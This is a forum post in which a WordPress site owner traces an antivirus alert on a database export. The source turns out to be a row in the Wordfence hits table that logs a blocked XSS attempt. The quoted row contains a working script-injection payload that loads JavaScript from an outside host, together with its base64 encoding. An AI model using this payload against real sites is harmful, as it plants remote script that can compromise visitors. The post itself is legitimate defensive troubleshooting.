This is the first time this has happened to me. I'm attaching the screenshot of the message I got about the threat. Also here is the link that ESET software shows me for more info about this.
I ran malware scans on the website, but maybe these can't check the .sql file being assembled + exported, only the other files of the site (?).
A threat (HTML/ScrInject.B) was found when Google Chrome tried to access a website ..XY"
Update:
Thanks to the conversation below with @closetnoc, I found a pretty suspicious line in the database by searching for <script>
, <script
, /script>
etc., and inspecting the few results I got. Here is what I found so far (on line 477799):
(4090, 1570436010.678350, 1570436010.590000, 0x00000000000000000000ffffb280c19e, 0, 403, 0, 0, 0, 'https://my-domain-name-which-i-censored-it-for-now.com/', '\"><script type=text/javascript src=\'https://js.balantfromsun.com/black.js?&tp=3\'></script>', '\"><script type=text/javascript src=\'https://js.balantfromsun.com/black.js?&tp=3\'></script>', 'blocked:waf', 'Generic XSS Injection in IP Forwarding Headers', '{\"learningMode\":0,\"failedRules\":\"59\",\"paramKey\":\"cmVxdWVzdC5oZWFkZXJzW1gtRm9yd2FyZGVkLUZvcl0=\",\"paramValue\":\"Ij48c2NyaXB0IHR5cGU9dGV4dC9qYXZhc2NyaXB0IHNyYz0naHR0cHM6Ly9qcy5iYWxhbnRmcm9tc3VuLmNvbS9ibGFjay5qcz8mdHA9Myc+PC9zY3JpcHQ+\",\"path\":\"Lw==\",\"category\":\"xss\",\"ssl\":1}'),
The 'balantfromsun.com' domain shows malicious to my browser. I think we caught some malware from there already. Now I'm trying to find the file which injects this code to the DB.
Latest Update:
Apparently Wordfence plugin itself placed the problematic script into the DB (my question: WHY? ), into the wp_wfhits table. I deleted this specific row (shown above) and the antivirus no longer gets triggered.
{}